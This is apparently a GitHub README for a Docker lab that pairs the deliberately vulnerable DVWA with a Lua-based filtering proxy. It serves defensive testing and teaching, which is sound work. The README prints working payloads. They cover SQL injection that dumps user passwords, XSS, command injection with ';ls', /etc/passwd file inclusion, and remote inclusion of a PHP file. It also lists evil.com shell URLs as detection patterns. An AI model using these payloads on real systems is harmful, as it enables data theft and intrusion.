Skip to content

About

A Docker-based security testing setup featuring a vulnerable web service, a filtering HTTP proxy ("bridge"), and an attacker client. Demonstrates vulnerability exploitation (e.g., SQL injection) and programmatic mitigation through dynamic proxy filtering.

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Latest commit

 

History

62 Commits

Folders and files

Repository files navigation

BridgeAllMighty

A vulnerable web application (DVWA) is intentionally left exploitable to simulate real-world SQL injection threats. An HTTP proxy (called bridge) sits between clients and the vulnerable service, equipped with filtering logic to detect and block SQLi and some other attacks.

1. SQL Injection Protection Proxy Using Docker

Components

1. Vulnerable Web Server: DVWA

  • Container name: dvwa (Damn Vulnerable Web Application)
  • Base image: vulnerables/web-dvwa
  • Vulnerability: SQL Injection (and others)

2. HTTP Proxy Server: Bridge

  • Container name: bridge
  • Base image: openresty/openresty:alpine
  • Features:
    • Lightweight reverse proxy based on Nginx + Lua.
    • Custom Lua scripts inspect and block malicious traffic.
    • Specifically designed to detect SQL Injection, XSS, Command Injection, and LFI/RFI patterns.
    • No external Web Application Firewall (WAF) dependency.

3. Attacker Client

  • Container name: attacker
  • Base image: alpine
  • Purpose: Simulate attacker behavior to validate vulnerability and filter

Code explanation

args: Table of key-value pairs, where keys k are argument names and values v are the input values (e.g., HTTP GET/POST parameters).

  • Checks if value matches the pattern.
  • If yes, blocks the request and returns an attack message.

What it detects:

  1. Boolean-based SQL Injection:
  • Looks for SQL logic like: OR 1=1, AND 2=2
  1. String-based SQL Injection:
  • Looks for strings where quotes are used improperly to manipulate SQL queries: ' or 'a'='a'
  1. SQL Keyword Injection:
  • Captures presence of dangerous SQL commands: union, select, drop, insert, update, delete

Setup Instructions

Prerequisites

  • Docker Desktop installed and running
  • Internet connection to pull base images

First run the daemon:

systemctl --user start docker-desktop`

Step-by-Step Run Instructions

1. Start DVWA (Vulnerable Web App)

docker run --name dvwa -d -p 8081:80 vulnerables/web-dvwa

If you have already done that, you can start the container via:

docker start dvwa

Access DVWA in your browser at: http://localhost:8081

  1. Login with:
  • Username: admin
  • Password: password

DVWA Dashboard Screenshot

  1. Click on the button Create / Reset Database at the bottom of the page.

  2. Login again.

  3. Go to DVWA Security page and set (in default settings it should be already set as below):

  • Security Level: Low
  • PHPIDS: Disabled

DVWA Security Screenshot

2. Build the Proxy Container

Ensure the following files exist in your proxy-container/ directory (you must have them already when you clone the project):

  • Dockerfile
  • nginx.conf
  • waf.lua

Build the proxy container (you must be in the root directory of the project):

docker build --no-cache -t proxy-bridge ./proxy-container

3. Run the Proxy (Bridge)

docker run --name bridge -d -p 8080:80 --link dvwa proxy-bridge

If you have already done that, you can start the container via:

docker start bridge

Proxy listens at: http://localhost:8080

Dynamic configuration

To run the container with WAF disabled, use:

docker run --name bridge -d -p 8080:80 --link dvwa -e WAF_MODE=off proxy-bridge

This way you do not need to use the code below to see if the attack actually works or not:

docker run --rm -it --link dvwa --name attacker alpine sh

Extensibility

The WAF loads all Lua plugin files dynamically from the plugins/ directory at runtime. Users can implement new protection modules by simply adding a new .lua file to the folder without modifying the core logic.

Volume Mount (-v)

docker run --name bridge -d -p 8080:80 --link dvwa \
-v "$(pwd)/proxy-container/plugins:/usr/local/openresty/nginx/conf/plugins" proxy-bridge

This binds your local plugins/ live into the container. Adding a new plugin after the container is running?

✅ The container sees it immediately (no rebuild). ✅ You only need to restart the container.

4. Run the Attacker Container

docker run --rm -it --link bridge --name attacker alpine sh

Then run this command:

apk add curl

To simulate a real authenticated attacker, I first needed to log in to DVWA through the proxy container (bridge) and save the session cookies for future use in malicious and legitimate requests. I will follow the same steps a browser would during login.

curl -c cookies.txt "http://bridge/login.php" -o login.html
TOKEN=$(sed -n "s/.*user_token' value='\([^']*\)'.*/\1/p" login.html)
echo "Extracted token: $TOKEN"

I requested the login page from DVWA through the proxy (bridge). The -c cookies.txt option told curl to store any cookies (like PHPSESSID) into a file. The login page HTML was saved as login.html so I could extract the CSRF token. DVWA requires a user_token to be submitted with every login attempt. I used sed to parse the HTML and extract the CSRF token from the field. I stored that value in the TOKEN variable.

curl -b cookies.txt -c cookies.txt -d "username=admin&password=password&Login=Login&user_token=$TOKEN" "http://bridge/login.php"

This curl command submitted the login form via POST. I used -b cookies.txt to reuse the session ID (PHPSESSID) from the previous step. -c cookies.txt updated the cookie file with any new values. I passed the username, password, and extracted user_token to authenticate.

We can also see the cookies in dev tools without doing all these steps:

Cookies Screenshot


✅ Test Cases ✅ Normal Traffic (Should Pass)

curl -b cookies.txt "http://bridge/vulnerabilities/sqli/?id=1&Submit=Submit"

This is equivalent to http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit in the browser.

✅ Returns HTML output from DVWA


🚫 Malicious Traffic (Should Be Blocked)

curl -b cookies.txt "http://bridge/vulnerabilities/sqli/?id=1%20UNION%20SELECT%201,2--&Submit=Submit"

The expected output is this:

Unauthorized request to DVWA terminal Screenshot

Unauthorized request to DVWA browser Screenshot

Commands that we can test:

1' OR '1'='1'#

curl -b cookies.txt "http://bridge/vulnerabilities/sqli/?id=1'+OR+'1'='1'--+&Submit=Submit"

'UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name= 'users' #

curl -b cookies.txt "http://bridge/vulnerabilities/sqli/?id=1'+UNION+SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name='users'--+-&Submit=Submit"

'UNION SELECT user, password FROM users #

curl -b cookies.txt "http://bridge/vulnerabilities/sqli/?id=1'+UNION+SELECT+user,password+FROM+users--+-&Submit=Submit"

Verifying Vulnerability (Without Proxy)

Run attacker container with access to DVWA:

Exit from the previous container and if you encountered an error saying attacker is in use, either you should exit from it or run:

docker rm -f attacker
docker run --rm -it --link dvwa --name attacker alpine sh
apk add curl

Get some cookies first!

curl -c cookies.txt "http://dvwa/login.php" -o login.html
TOKEN=$(sed -n "s/.*user_token' value='\([^']*\)'.*/\1/p" login.html)
echo "Extracted token: $TOKEN"
curl -b cookies.txt -c cookies.txt -d "username=admin&password=password&Login=Login&user_token=$TOKEN" "http://dvwa/login.php"

Then test the vulnerable endpoint (submitting 1' OR '1'='1'#):

curl -b cookies.txt "http://dvwa/vulnerabilities/sqli/?id=1%20UNION%20SELECT%201,2--&Submit=Submit"

'UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name= 'users' #

curl -b cookies.txt "http://dvwa/vulnerabilities/sqli/?id=1'+UNION+SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name='users'--+-&Submit=Submit"

'UNION SELECT user, password FROM users #

curl -b cookies.txt "http://dvwa/vulnerabilities/sqli/?id=1'+UNION+SELECT+user,password+FROM+users--+-&Submit=Submit"

We can see both in the browser and the terminal that without the bridge, the system is vulnerable.

DVWA Hacked Terminal Screenshot

DVWA Hacked Browser Screenshot


Bridge Container Breakdown

Dockerfile Breakdown

Base Image: openresty/openresty:alpine

This image comes with:

  • Nginx web server.
  • LuaJIT and Lua modules embedded.
  • Ready to handle dynamic request inspection via custom Lua scripts.

Why OpenResty?

We transitioned away from ModSecurity because:

  • Lua scripting via OpenResty provides lightweight, fast, and flexible request filtering.
  • We can define and update our own security logic without relying on third-party rule sets.

nginx.conf

Defines:

  • Listening on port 80.
  • Reverse proxying traffic to DVWA backend.
  • Lua access phase hook to inspect all incoming requests before passing to DVWA.

waf.lua

Implements custom detection logic:

  • SQL Injection (classic keyword and logic-based patterns like OR '1'='1').
  • Cross-Site Scripting (XSS) (tag-based injection patterns).
  • Command Injection (shell metacharacters and command substitution).
  • Local File Inclusion / Remote File Inclusion (directory traversal and URL wrappers).
  • Requests matching these patterns are immediately blocked with HTTP 403 Forbidden responses.

How it All Works

  1. Client sends request → arrives at the Bridge container.
  2. Nginx receives the request.
  3. Lua script inspects all request arguments.
  4. If the request matches any malicious pattern → immediate block.
  5. If safe → proxy request forwarded to the DVWA backend.

2. XSS Protection (Cross-Site Scripting)

XSS is a web security vulnerability that allows an attacker to inject malicious scripts into websites, which are then executed by the user's browser.


Code explanation

What it detects:

Typical XSS payload markers:

  • <script>, , onerror=, onload=
  • JavaScript functions: alert(), prompt(), confirm()

Setup Instructions

Run the Attacker Container:

docker run --rm -it --link bridge --name attacker alpine sh

Then run this command:

apk add curl
curl -c cookies.txt "http://bridge/login.php" -o login.html
TOKEN=$(sed -n "s/.*user_token' value='\([^']*\)'.*/\1/p" login.html)
echo "Extracted token: $TOKEN"
curl -b cookies.txt -c cookies.txt -d "username=admin&password=password&Login=Login&user_token=$TOKEN" "http://bridge/login.php"

🚫 Malicious Traffic (Should Be Blocked)

curl -b cookies.txt "http://bridge/vulnerabilities/xss_r/?name=<script>alert(1)</script>"

The expected output is this:

Unauthorized request to DVWA browser Screenshot


Verifying Vulnerability (Without Proxy)

docker run --rm -it --link dvwa --name attacker alpine sh
apk add curl
curl -c cookies.txt "http://dvwa/login.php" -o login.html
TOKEN=$(sed -n "s/.*user_token' value='\([^']*\)'.*/\1/p" login.html)
echo "Extracted token: $TOKEN"
curl -b cookies.txt -c cookies.txt -d "username=admin&password=password&Login=Login&user_token=$TOKEN" "http://dvwa/login.php"
curl -b cookies.txt "http://dvwa/vulnerabilities/xss_r/?name=<script>alert(1)</script>"

We can see that without the bridge, the system is vulnerable.

DVWA Hacked Browser Screenshot


3. Command Injection Protection

Command Injection happens when an application takes user input and passes it unsafely to a system shell (like Bash, CMD) to run OS-level commands.


Code explanation

What it detects:

Unix shell command separators and injection techniques:

  • ;, |, &, `, $()

Run the Attacker Container

docker run --rm -it --link bridge --name attacker alpine sh

Then run this command:

apk add curl
curl -c cookies.txt "http://bridge/login.php" -o login.html
TOKEN=$(sed -n "s/.*user_token' value='\([^']*\)'.*/\1/p" login.html)
echo "Extracted token: $TOKEN"
curl -b cookies.txt -c cookies.txt -d "username=admin&password=password&Login=Login&user_token=$TOKEN" "http://bridge/login.php"

🚫 Malicious Traffic (Should Be Blocked)

curl -b cookies.txt "http://bridge/vulnerabilities/exec/?ip=127.0.0.1;ls#"

The expected output is this:

Unauthorized request to DVWA browser Screenshot


Verifying Vulnerability (Without Proxy)

curl -b cookies.txt "http://dvwa/vulnerabilities/exec/?ip=127.0.0.1;ls#"

We can see that without the bridge, the system is vulnerable.

DVWA Hacked Browser Screenshot


4. LFI/RFI Protection

Code explanation

What it detects:

  • Local File Inclusion (LFI) attacks: ../../etc/passwd ..\..\windows\system32

  • Remote File Inclusion (RFI) attacks: file://evil.com/shell.txt http://evil.com/shell.txt ftp://bad.site/backdoor.php


Run the Attacker Container

docker run --rm -it --link bridge --name attacker alpine sh

Then run this command:

apk add curl
curl -c cookies.txt "http://bridge/login.php" -o login.html
TOKEN=$(sed -n "s/.*user_token' value='\([^']*\)'.*/\1/p" login.html)
echo "Extracted token: $TOKEN"
curl -b cookies.txt -c cookies.txt -d "username=admin&password=password&Login=Login&user_token=$TOKEN" "http://bridge/login.php"

🚫 Malicious Traffic (Should Be Blocked)

cURL Command to Test LFI:

curl -b cookies.txt "http://bridge/vulnerabilities/fi/?page=../../../../../etc/passwd"

cURL Command to Test RFI:

To make RFI work:

  1. Exec into the container:
docker exec -it dvwa sh
  1. Edit php.ini:
sed -i 's/allow_url_fopen\s*=\s*Off/allow_url_fopen = On/' /etc/php*/apache2/php.ini
sed -i 's/allow_url_include = Off/allow_url_include = On/' /etc/php/7.0/apache2/php.ini
  1. Restart Apache inside container:
service apache2 restart

⚠️ These settings are disabled by default because they're dangerous in real-world deployments.

Create the malicious file:

  1. Create shell.txt with PHP payload:
<?php echo "You got pwned"; ?>
  1. Save it somewhere.

  2. Run this:

python3 -m http.server 8000

and then try this:

curl -b cookies.txt "http://bridge/vulnerabilities/fi/?page=http://192.168.43.26:8000/shell.txt"

The expected output is this:

Unauthorized request to DVWA browser Screenshot


Verifying Vulnerability (Without Proxy)

http://localhost:8081/vulnerabilities/fi/?page=http://192.168.43.26:8000/shell.txt

The expected output is this:

Unauthorized request to DVWA browser Screenshot

About

A Docker-based security testing setup featuring a vulnerable web service, a filtering HTTP proxy ("bridge"), and an attacker client. Demonstrates vulnerability exploitation (e.g., SQL injection) and programmatic mitigation through dynamic proxy filtering.

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages